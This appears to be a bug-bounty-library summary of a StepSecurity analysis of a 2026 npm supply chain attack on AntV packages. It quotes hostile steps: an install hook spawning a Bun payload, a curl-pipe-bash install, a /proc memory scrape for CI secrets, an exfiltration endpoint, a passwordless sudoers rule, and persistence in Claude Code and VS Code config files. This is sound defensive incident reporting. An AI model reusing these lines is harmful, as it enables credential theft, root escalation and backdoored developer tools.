# Shai-Hulud: Here We Go Again. Mass npm Supply Chain Attack Hits the AntV Ecosystem

Compromised npm account atool pushed malicious versions of AntV/timeago packages whose install hooks run a Bun payload that scrapes GitHub Actions runner memory for CI/CD secrets and exfiltrates them.

- Payout: Real-world hack
- Severity: critical
- Program: AntV
- Analysis by: StepSecurity
- Disclosed: 2026-05-19
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/shai-hulud-here-we-go-again-mass-npm-supply-chain-attack-hits-the-antv-ecosystem
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-shai-hulud-here-we-go-again-mass-npm-supply-chain-attack-hits-the-antv-ecosystem
- Tags: area:oss domain:oss impact:data-leak impact:mass-exploit kind:incident platform:threat-intel sev:critical tech:ci-cd tech:github-actions tech:nodejs technique:source-review vuln:privilege-escalation vuln:secrets-leak

**Target:** npm packages (@antv/*, timeago.js, echarts-for-react) and GitHub Actions CI runners
**Root cause:** Attacker gained control of the npm account atool and published malicious versions adding preinstall/postinstall hooks or optionalDependencies git references to a poisoned antvis/G2 commit whose prepare hook runs an obfuscated Bun payload.
**Steps:**
1. Compromised npm account atool publishes new versions with `"preinstall": "node -e \"require('child_process').spawnSync('bun',['run','index.js'],{stdio:'inherit'})\""` or `"optionalDependencies": {"@antv/setup": "github:antvis/G2#7cb42f57..."}`
2. On install, prepare hook runs `bun run index.js && exit 1`; Bun installed via `curl -fsSL https://bun.sh/install | bash` if absent
3. Payload daemonizes with `__DAEMONIZED=1` guard, then scans `/proc/[pid]/cmdline` to find Runner.Worker
4. Reads `/proc/[pid]/mem` via sudo python3 and pipes through `tr -d '\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u`
5. Harvests env vars (GITHUB_TOKEN, AWS_*, VAULT_TOKEN, KUBECONFIG) and 130+ credential file paths
6. Encrypts with PBKDF2-SHA256 (200k iters) and exfiltrates via GitHub API dead-drop to antvis/G2 or HTTPS POST to `t.m-kosche.com/api/public/otel/v1/traces`
7. Writes sudoers rule `runner ALL=(ALL) NOPASSWD:ALL` to /mnt/runner and drops persistence in .claude/settings.json, .vscode/tasks.json, .github/workflows/codeql.yml
**How found:** StepSecurity installed echarts-for-react@3.0.7 in a Harden-Runner-protected workflow, observed C2 block and Runner.Worker memory read detection, then reran with protections disabled to capture full process/network telemetry and deobfuscated payloads from @antv/graphlib and echarts-for-react.
**Exploitation:** Stolen GitHub tokens used to create 2,500+ public repos named with Dune terms as dead-drops; CI secrets exfiltrated in plaintext bypassing log masking; persistence re-executes payload on Claude Code/VS Code open and on repo push.
**Escalation:** Privilege escalation to root via sudoers write; injected codeql.yml workflow exfiltrates all repo secrets on push; downstream propagation if packages published from compromised CI.
**Insight:** Watch for optionalDependencies pointing at a github: commit hash in a trusted org — the prepare hook fires on git resolution and leaves no scripts entry in the published tarball, evading static scanners that only inspect package.json scripts.
